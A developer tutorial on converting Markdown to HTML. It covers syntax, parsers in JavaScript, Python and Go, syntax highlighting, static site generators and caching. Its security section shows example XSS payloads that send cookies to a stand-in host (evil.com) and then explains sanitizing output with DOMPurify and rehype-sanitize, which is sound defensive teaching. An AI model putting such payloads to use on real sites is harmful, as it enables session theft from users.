Markdown is a lightweight markup language that converts plain text into structured HTML. Developers use it for documentation, README files, blog posts, and technical writing. You can convert Markdown to HTML using JavaScript libraries (marked, remark, markdown-it), Python packages (markdown, mistune), or Go modules (goldmark, blackfriday). Always sanitize generated HTML to prevent XSS attacks. Use our free online Markdown Preview tool for instant conversion.
- Markdown is a plain-text formatting syntax designed to be readable as-is and convertible to valid HTML.
- CommonMark provides a strict specification; GFM (GitHub Flavored Markdown) adds tables, task lists, and strikethrough; MDX embeds JSX components.
- The most popular JavaScript parsers are marked (fast, minimal), remark (AST-based, plugin ecosystem), and markdown-it (extensible, CommonMark compliant).
- Always sanitize Markdown-generated HTML with DOMPurify or similar libraries to prevent cross-site scripting (XSS) vulnerabilities.
- Syntax highlighting for code blocks can be added via highlight.js, Prism, or Shiki, each with different trade-offs in bundle size and theme support.
- Static site generators like Next.js, Gatsby, Hugo, and Jekyll all have first-class Markdown support with different processing pipelines.
- Extensions like KaTeX (math), Mermaid (diagrams), and footnotes expand Markdown far beyond basic text formatting.
Convert Markdown to HTML instantly with live preview, syntax highlighting, and export options.
Markdown Preview Tool →1. What Is Markdown and Why Convert to HTML?
Markdown is a lightweight markup language created by John Gruber and Aaron Swartz in 2004. Its primary design goal was to create a plain-text formatting syntax that is easy to read and write, and that can be converted to structurally valid HTML. Unlike HTML, where you write <strong>bold</strong>, in Markdown you simply write **bold**.
The key reason developers convert Markdown to HTML is that browsers render HTML, not Markdown. When you write documentation in Markdown, it must be transformed into HTML before it can be displayed on a webpage. This conversion happens either at build time (static site generators), at request time (server-side rendering), or in the browser (client-side JavaScript).
Markdown has become the de facto standard for developer documentation. GitHub, GitLab, Bitbucket, Stack Overflow, Reddit, Discord, and countless other platforms all support Markdown. README files, API documentation, blog posts, technical books, and even email newsletters are commonly authored in Markdown.
# Hello World This is **bold** and *italic* text. - Item one - Item two [Visit DevToolBox](https://viadreams.cc)
<h1>Hello World</h1> <p>This is <strong>bold</strong> and <em>italic</em> text.</p> <ul> <li>Item one</li> <li>Item two</li> </ul> <p><a href="https://viadreams.cc">Visit DevToolBox</a></p>
2. Markdown Syntax Reference
This section covers the core Markdown syntax elements that every developer should know. All of these convert directly to their HTML counterparts.
Headings
Markdown supports six levels of headings, corresponding to HTML <h1> through <h6>. Use hash symbols (#) at the beginning of a line.
# Heading 1 -> <h1> ## Heading 2 -> <h2> ### Heading 3 -> <h3> #### Heading 4 -> <h4> ##### Heading 5 -> <h5> ###### Heading 6 -> <h6>
Emphasis: Bold, Italic, Strikethrough
Surround text with asterisks or underscores for emphasis. Single for italic (*italic* becomes <em>), double for bold (**bold** becomes <strong>), and triple for both. GFM adds strikethrough with tildes (~~deleted~~ becomes <del>).
Lists: Ordered, Unordered, Nested
Unordered lists use -, *, or + as bullet markers. Ordered lists use numbers followed by a period. Nesting is achieved by indenting with two or four spaces. Markdown lists convert to HTML <ul>, <ol>, and <li> elements.
Links and Images
Inline links use the syntax [text](url), which becomes <a href="url">text</a>. Images use the same pattern with an exclamation mark prefix:  becomes <img src="src" alt="alt">. Reference-style links allow you to define URLs at the bottom of your document for cleaner source text.
Code: Inline and Blocks
Surround inline code with single backticks: `code` becomes <code>code</code>. For code blocks, use triple backticks (```) with an optional language identifier for syntax highlighting. Code blocks are wrapped in <pre><code> elements.
Tables
Tables use pipes (|) to delimit columns and hyphens (-) for the header separator. Column alignment is controlled by colons in the separator row: left (:---), center (:---:), or right (---:). Tables convert to standard HTML <table>, <thead>, <tbody>, <tr>, <th>, and <td> elements.
| Library | Language | Speed | CommonMark | |:------------|:----------:|--------:|-----------:| | marked | JavaScript | Fast | Partial | | remark | JavaScript | Medium | Yes | | markdown-it | JavaScript | Fast | Yes | | goldmark | Go | V.Fast | Yes |
Blockquotes and Horizontal Rules
Blockquotes use the > character at the start of a line, converting to <blockquote>. They can be nested by adding additional > characters. Horizontal rules are created with three or more hyphens (---), asterisks (***), or underscores (___), producing an <hr> element.
3. Markdown Flavors: CommonMark, GFM, and MDX
Not all Markdown is created equal. The original Markdown specification left many edge cases undefined, leading to different implementations producing different output. Here are the three most important Markdown flavors in 2026.
CommonMark
CommonMark is a strongly defined, highly compatible specification of Markdown. It was created to eliminate ambiguity in the original Markdown spec. CommonMark defines exactly how every edge case should be handled, from nested lists to inline HTML. Most modern Markdown parsers (markdown-it, remark) are CommonMark compliant or offer a CommonMark mode.
GitHub Flavored Markdown (GFM)
GFM is a superset of CommonMark used on GitHub. It adds several extensions that developers rely on daily: tables with alignment, task lists with checkboxes (- [x] done), strikethrough text, autolinked URLs, and fenced code blocks with language identifiers. GFM also supports alerts ([!NOTE], [!WARNING]) and Mermaid diagram rendering.
- [x] Task completed - [ ] Task pending ~~strikethrough text~~ https://auto-linked-url.com > [!NOTE] > This is a GitHub alert callout. > [!WARNING] > This is a warning callout.
MDX: Markdown + JSX
MDX lets you embed JSX components directly inside Markdown content. This is particularly popular in documentation frameworks like Docusaurus and in Next.js-based blogs. With MDX, you can import React components and use them alongside standard Markdown. MDX files typically have a .mdx extension and require a special compiler (@mdx-js/mdx) that outputs React components instead of HTML strings.
import { Chart } from './components/Chart'
import { Callout } from './components/Callout'
# Analytics Dashboard
Here is a live chart component:
<Chart data={salesData} type="bar" />
<Callout type="info">
MDX lets you mix Markdown with React components.
</Callout>4. Converting Markdown to HTML with JavaScript
JavaScript offers the most diverse ecosystem of Markdown processors. Here are the four most popular options, each with different strengths.
marked
marked is one of the oldest and fastest Markdown parsers for JavaScript. It compiles Markdown to HTML in a single pass, making it exceptionally fast. It supports GFM by default, has a small bundle size (around 35 KB minified), and is well-suited for both Node.js and browser environments. Configuration is straightforward with options for GFM, tables, breaks, and custom renderers.
import { marked } from 'marked';
// Basic conversion
const html = marked.parse('# Hello\n**Bold** text');
// With options
marked.setOptions({
gfm: true,
breaks: true,
highlight: function(code, lang) {
return hljs.highlightAuto(code).value;
}
});remark (unified ecosystem)
remark is part of the unified ecosystem, which processes content as abstract syntax trees (ASTs). This approach gives you fine-grained control over the transformation pipeline. remark parses Markdown into an mdast tree, which can be transformed with plugins, then serialized to HTML with remark-rehype and rehype-stringify. The plugin ecosystem is extensive: remark-gfm for GitHub Flavored Markdown, remark-math for LaTeX, remark-mermaid for diagrams, and hundreds more.
import { unified } from 'unified';
import remarkParse from 'remark-parse';
import remarkGfm from 'remark-gfm';
import remarkRehype from 'remark-rehype';
import rehypeStringify from 'rehype-stringify';
const result = await unified()
.use(remarkParse)
.use(remarkGfm)
.use(remarkRehype)
.use(rehypeStringify)
.process('# Hello **world**');
console.log(String(result));
// <h1>Hello <strong>world</strong></h1>markdown-it
markdown-it is a fast, CommonMark-compliant Markdown parser with a rich plugin architecture. It uses a token-based approach that makes it easy to extend with custom syntax. Plugins exist for footnotes, definition lists, abbreviations, containers, and many other extensions. Its performance is close to marked, and it offers fine-grained control over enabled features.
import MarkdownIt from 'markdown-it';
import footnote from 'markdown-it-footnote';
import attrs from 'markdown-it-attrs';
const md = new MarkdownIt({ html: false, linkify: true })
.use(footnote)
.use(attrs);
const html = md.render('# Hello [^1]\n\n[^1]: A footnote');unified pipeline
The unified pipeline (remark + rehype) is the most flexible approach. You parse Markdown to mdast (Markdown AST) with remark-parse, optionally transform the tree, convert to hast (HTML AST) with remark-rehype, add HTML plugins like rehype-highlight for syntax highlighting, and finally serialize to HTML with rehype-stringify. This modular approach lets you compose exactly the pipeline you need.
| Library | Bundle Size | CommonMark | Extensibility | Best For |
|---|---|---|---|---|
| marked | ~35 KB | Partial | Custom renderers | Speed, simplicity |
| remark | ~100 KB+ | Yes | Plugin ecosystem | Complex pipelines |
| markdown-it | ~50 KB | Yes | Token-based plugins | Balance of speed/features |
| @mdx-js/mdx | ~150 KB+ | Yes | JSX components | React + Markdown |
5. Converting Markdown to HTML with Python
Python has several mature Markdown libraries suitable for different use cases.
Python-Markdown
The markdown package is the standard Python Markdown library. It converts Markdown text to HTML and supports extensions for tables, fenced code, footnotes, table of contents, and more. Extensions can be loaded individually, and you can write custom extensions by subclassing the preprocessor, treeprocessor, or postprocessor classes.
import markdown
# Basic conversion
html = markdown.markdown('# Hello **world**')
# With extensions
html = markdown.markdown(
text,
extensions=[
'tables',
'fenced_code',
'footnotes',
'toc',
'codehilite',
]
)mistune
mistune is a fast Markdown parser written in pure Python. Version 3.x uses a pluggable architecture with directives and plugins. It provides both HTML rendering and AST output, making it suitable for both simple conversion and complex transformations. mistune is significantly faster than Python-Markdown for large documents.
import mistune
# Basic usage
html = mistune.html('# Hello **world**')
# With plugins
from mistune import create_markdown
from mistune.plugins.table import table
from mistune.plugins.footnotes import footnotes
md = create_markdown(plugins=[table, footnotes])
html = md('| A | B |\n|---|---|\n| 1 | 2 |')PyMdown Extensions
PyMdown Extensions is a collection of extensions for Python-Markdown that adds features like BetterEm (improved emphasis handling), SuperFences (nested fenced code blocks), Highlight (syntax highlighting with Pygments), Tasklist, Emoji, and many more. It is commonly used with MkDocs for documentation sites.
6. Converting Markdown to HTML in Go
Go offers high-performance Markdown parsers suitable for server-side rendering and static site generation.
goldmark
goldmark is the default Markdown parser used by Hugo (the static site generator). It is CommonMark compliant, extensible, and fast. goldmark uses an AST-based approach and supports extensions for GFM (tables, strikethrough, task lists, autolinks), syntax highlighting (with Chroma), footnotes, definition lists, and typographic substitutions. Its architecture makes it easy to write custom extensions.
package main
import (
"bytes"
"github.com/yuin/goldmark"
"github.com/yuin/goldmark/extension"
)
func main() {
md := goldmark.New(
goldmark.WithExtensions(
extension.GFM,
extension.Footnote,
),
)
var buf bytes.Buffer
source := []byte("# Hello **world**")
md.Convert(source, &buf)
// buf.String() => "<h1>Hello <strong>world</strong></h1>"
}blackfriday
blackfriday (v2) is a fast Markdown processor for Go. While goldmark has become more popular for new projects due to its CommonMark compliance and extensibility, blackfriday remains widely used in existing codebases. It supports common extensions, smart punctuation, and HTML rendering with configurable flags.
7. Syntax Highlighting in Code Blocks
Code blocks are one of the most important Markdown features for developer documentation. Syntax highlighting transforms raw code text into colored, readable output. Here are the three main approaches.
highlight.js
highlight.js is the most widely used syntax highlighter, supporting over 190 languages and 90+ themes. It can run both server-side and client-side. In a Markdown pipeline, you typically integrate it via rehype-highlight (unified) or the highlight option in marked. highlight.js auto-detects languages when no language is specified, though explicit language hints are more reliable.
Prism
Prism is a lightweight, extensible syntax highlighter with a modular architecture. Languages and plugins are loaded on demand, keeping the bundle small. Prism supports features like line numbers, line highlighting, copy-to-clipboard buttons, and diff highlighting. It is the default highlighter in Docusaurus and many documentation sites.
Shiki
Shiki uses TextMate grammars and VS Code themes for syntax highlighting, producing the same accurate coloring you see in Visual Studio Code. It runs at build time, generating pre-highlighted HTML with inline styles, so no client-side JavaScript is needed. This makes it ideal for static site generators. Shiki supports hundreds of languages and all VS Code themes.
import { codeToHtml } from 'shiki';
const html = await codeToHtml('console.log("hello")', {
lang: 'javascript',
theme: 'github-dark',
});
// Returns pre-highlighted HTML with inline styles
// No client-side JS needed for rendering| Highlighter | Rendering | Languages | Themes | Best For |
|---|---|---|---|---|
| highlight.js | Client/Server | 190+ | 90+ | Broad support |
| Prism | Client-side | 270+ | 8+ (extensible) | Modularity, small bundle |
| Shiki | Build-time | 200+ | All VS Code themes | SSG, VS Code accuracy |
8. Markdown in Static Site Generators
Static site generators transform Markdown files into HTML pages at build time. Each framework handles Markdown differently.
Next.js
Next.js supports Markdown through several approaches. You can use next-mdx-remote or @next/mdx for MDX support, allowing React components inside Markdown. For standard Markdown, you can use gray-matter for frontmatter parsing combined with remark/rehype for HTML conversion. Next.js 15+ supports both static generation and server components for Markdown content.
// next.config.mjs - MDX support
import createMDX from '@next/mdx';
const withMDX = createMDX({
options: {
remarkPlugins: [remarkGfm, remarkMath],
rehypePlugins: [rehypeKatex, rehypeHighlight],
},
});
export default withMDX({
pageExtensions: ['js', 'jsx', 'mdx', 'ts', 'tsx'],
});Gatsby
Gatsby has built-in Markdown support through gatsby-transformer-remark, which uses remark under the hood. Plugins like gatsby-remark-images, gatsby-remark-prismjs, and gatsby-remark-autolink-headers extend the processing pipeline. Gatsby creates GraphQL nodes from Markdown files, making them queryable in your components.
Hugo
Hugo uses goldmark as its default Markdown renderer, with built-in support for syntax highlighting via Chroma. Hugo is the fastest static site generator, capable of rendering thousands of Markdown pages in seconds. It supports custom shortcodes that extend Markdown with template-driven components.
[markup.goldmark.renderer] unsafe = false [markup.goldmark.extensions] footnote = true strikethrough = true table = true taskList = true [markup.highlight] style = "monokai" lineNos = true
Jekyll
Jekyll, the Ruby-based static site generator that powers GitHub Pages, uses kramdown as its default Markdown renderer. kramdown supports GFM, math blocks, footnotes, and definition lists. Jekyll processes Markdown files with YAML front matter and supports Liquid template tags within Markdown content.
9. Markdown Extensions: Math, Diagrams, Footnotes
Markdown extensions expand the language beyond basic text formatting, enabling technical and academic content.
Math with KaTeX
KaTeX is a fast math typesetting library that renders LaTeX expressions to HTML. In Markdown, you typically use dollar-sign delimiters: $inline$ for inline math and $$block$$ for display math. Integration libraries include remark-math + rehype-katex (unified), markdown-it-katex (markdown-it), and katex auto-render for client-side rendering. KaTeX is significantly faster than MathJax and produces high-quality output.
Inline math: $E = mc^2$
Block math:
$$
\sum_{i=1}^{n} x_i = x_1 + x_2 + \cdots + x_n
$$
Quadratic formula:
$$
x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}
$$Diagrams with Mermaid
Mermaid generates diagrams and charts from text definitions inside Markdown code blocks. It supports flowcharts, sequence diagrams, class diagrams, state diagrams, entity-relationship diagrams, Gantt charts, and more. GitHub natively renders Mermaid diagrams in Markdown files. For other environments, you can use remark-mermaid or render diagrams client-side with the Mermaid JavaScript library.
```mermaid
graph TD
A[Markdown Source] --> B{Parser}
B --> C[AST]
C --> D[Transform Plugins]
D --> E[HTML AST]
E --> F[Sanitize]
F --> G[HTML Output]
```Footnotes
Footnotes let you add references at the bottom of your document. The syntax uses square brackets with a caret: [^1] for the reference and [^1]: Footnote text for the definition. Most Markdown processors support footnotes through extensions: remark-footnotes (remark), markdown-it-footnote (markdown-it), and the footnotes extension in Python-Markdown.
10. Security: Sanitizing HTML Output (XSS Prevention)
Converting Markdown to HTML introduces a significant security concern: cross-site scripting (XSS). Markdown allows inline HTML, which means an attacker can inject malicious scripts into Markdown content that will be rendered as HTML.
XSS Risks in Markdown
Markdown supports inline HTML by design. This means content like <script>alert("XSS")</script>, <img onerror="malicious()">, and <a href="javascript:..."> can all be embedded in Markdown and will pass through to the HTML output. If you render user-submitted Markdown without sanitization, you are vulnerable to XSS attacks.
# Innocent looking title
<img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">
Click [here](javascript:alert('XSS'))
<script>fetch('https://evil.com/log?data='+document.cookie)</script>DOMPurify
DOMPurify is the gold standard for HTML sanitization in JavaScript. It removes all dangerous HTML while preserving safe content. Use it after converting Markdown to HTML: first parse Markdown to HTML with your chosen library, then pass the HTML through DOMPurify.sanitize(). DOMPurify works in both browser and Node.js environments (via jsdom or the isomorphic-dompurify package).
import { marked } from 'marked';
import DOMPurify from 'dompurify';
// Step 1: Parse Markdown to raw HTML
const rawHtml = marked.parse(userMarkdown);
// Step 2: Sanitize the HTML
const cleanHtml = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: ['h1','h2','h3','p','a','ul','ol','li',
'code','pre','strong','em','blockquote',
'table','thead','tbody','tr','th','td','img'],
ALLOWED_ATTR: ['href','src','alt','class'],
FORBID_ATTR: ['onerror','onclick','onload'],
});
// Step 3: Render sanitized HTML safelyrehype-sanitize
If you are using the unified/rehype pipeline, rehype-sanitize integrates directly into your processing chain. It operates on the HTML AST, removing dangerous nodes before serialization. You can use the default GitHub schema or define custom allow-lists for tags, attributes, and protocols.
import { unified } from 'unified';
import remarkParse from 'remark-parse';
import remarkRehype from 'remark-rehype';
import rehypeSanitize, { defaultSchema } from 'rehype-sanitize';
import rehypeStringify from 'rehype-stringify';
const result = await unified()
.use(remarkParse)
.use(remarkRehype, { allowDangerousHtml: false })
.use(rehypeSanitize, defaultSchema) // GitHub-compatible schema
.use(rehypeStringify)
.process(userMarkdown);Security Best Practices
Always sanitize Markdown-generated HTML, especially for user-submitted content. Disable inline HTML in your Markdown parser when possible (most parsers have an option for this). Use Content Security Policy (CSP) headers as an additional defense layer. Never use dangerouslySetInnerHTML in React without first sanitizing the HTML. For server-rendered content, sanitize on the server before sending HTML to the client.
11. Markdown in Documentation Systems
Modern documentation platforms are built on Markdown, each adding their own extensions and conventions.
Docusaurus
Docusaurus (by Meta) uses MDX as its Markdown engine, allowing React components inside documentation pages. It provides built-in support for versioning, search (Algolia), internationalization, admonitions (note, tip, warning, danger), tabs, code block features (title, line highlighting, live editor), and automatic sidebar generation from the file system.
MkDocs
MkDocs is a Python-based documentation generator that uses Python-Markdown. Combined with the Material for MkDocs theme and PyMdown Extensions, it offers a rich feature set: admonitions, tabbed content, content tabs, code annotations, diagrams, and social cards. Configuration is done through a single mkdocs.yml file.
theme:
name: material
markdown_extensions:
- pymdownx.highlight:
anchor_linenums: true
- pymdownx.superfences:
custom_fences:
- name: mermaid
class: mermaid
- pymdownx.tabbed:
alternate_style: true
- pymdownx.tasklist:
custom_checkbox: true
- footnotes
- admonitionMintlify
Mintlify is a modern documentation platform that uses MDX. It provides beautiful default styling, API documentation generation from OpenAPI specs, built-in analytics, custom components (accordions, cards, tabs, code groups), and automatic deployment. It is popular for developer-facing API documentation.
12. Performance: Incremental Parsing and Caching
When processing large volumes of Markdown content, performance becomes critical. Here are strategies for optimizing Markdown-to-HTML conversion.
Incremental Parsing
Instead of re-parsing entire documents on every change, incremental parsing updates only the affected portions. This is particularly important for live preview editors where the user types continuously. Libraries like CodeMirror use incremental parsing to maintain responsive editing of large Markdown documents.
Build-Time Caching
Static site generators should cache parsed Markdown output to avoid redundant processing. Next.js uses ISR (Incremental Static Regeneration) to cache rendered pages. Hugo maintains a build cache for unchanged content. For custom pipelines, implement content-addressed caching: hash the Markdown source and check for existing output before parsing.
import crypto from 'crypto';
import fs from 'fs';
function convertWithCache(markdown: string, cacheDir: string) {
const hash = crypto
.createHash('sha256')
.update(markdown)
.digest('hex');
const cachePath = `${cacheDir}/${hash}.html`;
if (fs.existsSync(cachePath)) {
return fs.readFileSync(cachePath, 'utf8');
}
const html = marked.parse(markdown);
fs.writeFileSync(cachePath, html);
return html;
}Streaming and Lazy Rendering
For large documents, consider streaming the HTML output or rendering sections lazily. React Server Components in Next.js can stream Markdown content section by section. For long documentation pages, lazy-load below-the-fold sections using the Intersection Observer API combined with dynamic imports.
See also: text diff checker
Convert Markdown to HTML instantly with live preview, syntax highlighting, and export options.
Markdown Preview Tool →Frequently Asked Questions
Markdown remains the universal language for developer content in 2026. Whether you are building documentation sites, blog platforms, or content management systems, understanding how Markdown converts to HTML, and how to do it securely and performantly, is an essential developer skill. Try our free online Markdown Preview tool to see the conversion in action.